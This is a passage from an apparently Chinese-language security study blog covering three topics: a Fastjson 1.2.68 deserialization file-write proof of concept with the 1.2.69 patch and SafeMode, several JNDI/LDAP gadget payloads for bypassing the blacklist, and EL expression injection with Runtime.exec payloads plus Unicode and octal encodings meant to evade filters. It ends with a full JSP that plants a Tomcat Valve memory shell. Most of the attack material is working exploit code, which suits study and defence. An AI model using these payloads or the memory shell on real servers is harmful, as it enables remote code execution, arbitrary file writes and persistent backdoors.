* old mode, any buffered data is flushed before switching to the new
* mode.
*/
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
return blkmode;
}
drain();
blkmode = mode;
return !blkmode;
}

...

/**
* Writes all buffered data from this stream to the underlying stream,
* but does not flush underlying stream.
*/
void drain() throws IOException {
if (pos == 0) {
return;
}
if (blkmode) {
writeBlockHeader(pos);
}
out.write(buf, 0, pos);
pos = 0;
}

对于setBlockDataMode函数的调用,在ObjectOutputStream类的有参构造函数中就存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ObjectOutputStream(OutputStream out) throws IOException {  
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

但是Fastjson优先获取ObjectOutputStream类的无参构造方法,只能找它的继承类来触发了

我们找到一个只有有参构造方法的类:com.sleepycat.bind.serial.SerialOutput

依赖:

1
2
3
4
5
<dependency>  
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

我们可以看到,它的有参构造方法,是使用了他父类ObjectOutputStream的有参构造方法,这就满足我们之前的要求了

1
2
3
4
5
6
7
8
9
10
public SerialOutput(OutputStream out, ClassCatalog classCatalog)  
throws IOException {

super(out);
this.classCatalog = classCatalog;

/* guarantee that we'll always use the same serialization format */

useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

POC如下,用到了Fastjson循环引用的技巧来调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt",
"tempPath": "D:/wamp64/www/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

补丁修复

在GitHub官方的diff,主要在ParserConfig.java中:

https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

在expectClass的对比逻辑中,对类名进行了hash处理在比较hash黑名单,并添加了几个类

有人通过彩虹表碰撞,知道了其中新添加的三个类为如下

版本 十进制Hash值 十六进制Hash值 类名
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable

SafeMode

官方的参考:[https://github.com/alibaba/fastjson/wiki/fastjson_safemode](https://github.com/alibaba/fastjson/wiki/fastjson_safemode)

在1.2.68之后的版本中,fastjson添加了safeMode的支持

该参数开启后,完全禁用autoType。所有安全修复版本sec10也支持safeMode配置

代码中开启SafeMode代码如下

1
ParserConfig.getGlobalInstance().setSafeMode(true);

开启之后,就完全禁用AutoType@type了,这样就能防御住Fastjson反序列化漏洞了。具体的处理逻辑,是放在checkAutoType()函数中的前面,获取是否设置了SafeMode,如果是则直接抛出异常终止运行

其他一些绕过黑名单的Gadget

1.2.59

com.zaxxer.hikari.HikariConfig类PoC:
1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
1
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类PoC:

1
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

未知版本

org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
1
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:

1
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

EL表达式注入

今天来学习EL表达式注入

前置基础

EL(全称 Expression Language)表达式语言

作用

  • 简化JSP页面内的Java代码
  • 主要作用为 **获取数据 。**从域中获取数据,然后将数据展示出来

用法

使用的前提是通过page标签设置不忽略EL表达式

1
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>

基础操作符:

这里我们列出来几个较为重要的算术和逻辑操作符

操作 描述
. 访问一个Bean属性或者一个映射条目 ${param.order}
[] 访问一个数组或者链表的元素 ${param[“order”]}
() 组织一个子表达式以改变优先级

语法

EL表达式的用法为${expression}

例如${<font style="color:rgb(102, 102, 102);">userinfo</font>}代表从中获取变量userinfo的值

而JSP中存在四大域,分别为

  • page:当前页面有效
  • request:当前请求有效
  • session:当前会话有效
  • application:当前应用有效

EL表达式获取数据时,依次从以上四个域中获取,直到寻找到该变量(若没有找到则返回""

有些双亲委派的味道

EL表达式漏洞注入

漏洞原理

EL表达式注入漏洞的漏洞原理是:表达式外部可控导致攻击者注入恶意表达式从而实现任意代码执行,SpEL、OGNL等表达式注入也是一样的漏洞原理

一般来说,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是外部获取的

通用的Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

简单的漏洞利用

当存在一个参数`X`可控时,可以插入到JSP页面中

我们将参数X设为以下payload

1
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

当我们访问JSP页面时,服务端就会解析构造的恶意EL表达式,从而造成EL表达式注入

在实际的应用场景中,几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而且目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的

简单漏洞场景CVE-2011-2730

参考链接:[https://juejin.cn/post/6844903572077838350](https://juejin.cn/post/6844903572077838350)

正常情况下使用message标签,text属性使用EL表达式从请求中取值

1
2
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>

当我们访问以下url时候,${applicationScope}就会被当作EL表达式执行

我们改变EL表达式的内容,就可以达到其他目的

1
http://localhost/tag.jsp?a=${applicationScope}

EL表达式的EXP与基础绕过

基础EXP

1
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}

利用 ScriptEngine 调用 JS 引擎绕过

引用drun1baby师傅的博客

EL 曾经是 JSTL 的一部分。然后,EL 进入了 JSP 2.0 标准。现在,尽管是 JSP 2.1 的一部分,但 EL API 已被分离到包 javax.el 中, 并且已删除了对核心 JSP 类的所有依赖关系。换句话说:EL 已准备好在非 JSP 应用程序中使用!

也就是说,现在 EL 表达式所依赖的包 javax.el 等都在 JUEL 相关的 jar 包中。

JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。

需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7

在pom.xml中导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>

运行后,通过反射调用Runtime类,成功执行恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package drunkbaby.basicelvul;  

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class ScriptEngineExec {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" + " ";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
valueExpression.getValue(simpleContext);
}
}

利用 Unicode 编码绕过

对可利用的poc进行全部或者部分的Unicode编码都是可以的
1
2
// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制编码绕过

1
2
// 八进制编码内容为前面反射调用的PoC
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

JohnFord 编码脚本如下

1
2
3
4
5
6
str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
num = "\\" + oct(ord(s))
result += num
print(result.replace("\\0", "\\"))

防御方法

  • 尽量不使用外部输入的内容作为EL表达式的内容
  • 若使用,严格过滤EL表达式注入漏洞payload关键字
  • 如果是排查Java程序中JURL相关代码,则搜索如下关键类方法
1
2
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()

Valve内存马

前置基础

tomcat的内部结构

tomcat由Connector和Container两部分组成

  • Connector主要负责对外的网络交互,当收到网络请求时,它将请求包包装为Request,再将Request交给Container进行处理,最终返回给请求方
  • tomcat中的Container有四种,分别为engine,host,context,wrapper,实现类分别是StandardEngine,StandardHost,StandardContext,StandardWrapper,四个容器间是包含关系

我觉得下面这幅图很好的展示了tomcat的结构

我们要学习 Valve 型内存马,就必须要先了解一下 Valve 是什么

在了解 Valve 之前,我们先来简单了解一下 Tomcat 中的管道机制

我们知道,当 Tomcat 接收到客户端请求时,首先会使用 Connector 进行解析,然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到 Servlet 进行处理的呢?这里涉及到的机制就是 Tomcat 管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和 Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。

因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。个人理解就是管道与阀门的这种模式,我们可以通过调整阀门,来实现不同的业务。

在Catalina中,有着四种Container,每个容器都有自己的Pipeline(管道)组件,每个Pipeline组件至少会存在一个Valve(阀门),这个Valve我们称之为BaseValve(基础阀)

Pipeline 提供了 **addValve** 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行

当Connector将Request交给Container处理后,Container第一层就是Engine容器,但在tomcat中Engine容器不会直接调用它下一层Host容器去处理相关请求,而是通过Pipeline组件去处理,跟pipeline相关的还有个也是容器内部的组件,叫做valve组件

下面是 Pipeline 发挥功能的原理图

分析

这里我们先实现一个基础的Valve
1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class ValveTest extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("Valve 被成功调用");
}
}

实现好Valve后,我们需要通过addValve方法,将Valve添加进Pipeline中,我们只要将Valve添加进去,就能实现内存马的注入

看一眼Pipeline的接口,存在addValve方法,我们可以通过这个方法把Valve添加进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.apache.catalina;

import java.util.Set;

public interface Pipeline extends Contained {

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

public Valve getFirst();

public boolean isAsyncSupported();

public void findNonAsyncValves(Set<String> result);
}

找到Pipeline接口的实现类StandardPipeline,但是我们是无法直接获取到 StandardPipeline 的,所以这里去找一找 StandardContext 有没有获取到 StandardPipeline 的手段

StandardContext中,找到了一个getPipeline方法,跟进查看,会返回当前的Pipeline

可以看一下注解,这里写着 return 一个 Pipeline 类型的类,它是用来管理 Valves 的

1
2
3
4
5
6
7
protected final Pipeline pipeline = new StandardPipeline(this);

//Return the Pipeline object that manages the Valves associated with this Container
@Override
public Pipeline getPipeline() {
return this.pipeline;
}

所以可以证明这一点

1
StandardContext.getPipeline() = StandardPipeline; // 二者等价

Valve何处加载

有个问题:我们的 Valve 是应该放到 Filter,Listener,还是 Servlet 里面?

应该是在Servlet中被加载的,因为在Servlet内存马的HTTP11Processor 的加载 HTTP 请求当中,是出现了 Pipeline 的 basic 的

所以我们通过 Servlet 来加载。

实现

思路分析

现在的思路就已经很明确了
  1. 编写恶意Valve
  2. 反射获取StandardContext
  3. 调用getPieline()方法获取StandardPipeline
  4. 通过addValve方法将恶意Valve添加入StandardPipeline

Valve内存马实现

我们先编写一个恶意的Valve内存马
1
2
3
4
5
6
7
8
<%!
public class shellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
}
%>

后续和前几个内存马一样,通过反射来获取StandardContext

1
2
3
4
5
6
7
8
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

这里从别的师傅那里看到的,更简单方法的获取StandardContext,两个都是可以的

1
2
3
4
5
// 更简单的方法 获取StandardContext  
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

最后实现内存马的注入

1
2
3
4
<%
standardContext.getPipeline().addValve(new shellValve());
out.println("success");
%>

最终poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA.
User: Andu1n
Date: 2025/2/21
Time: 11:15
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

%>

<%!
public class shellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
}
%>

<%
standardContext.getPipeline().addValve(new shellValve());
out.println("success");
%>

</body>
</html>

启动tomcat服务后,访问我们上传的addValve.jsp后,Vlave内存马就被成功注入,后续访问任意路径,都会触发我们的Valve内存马

0%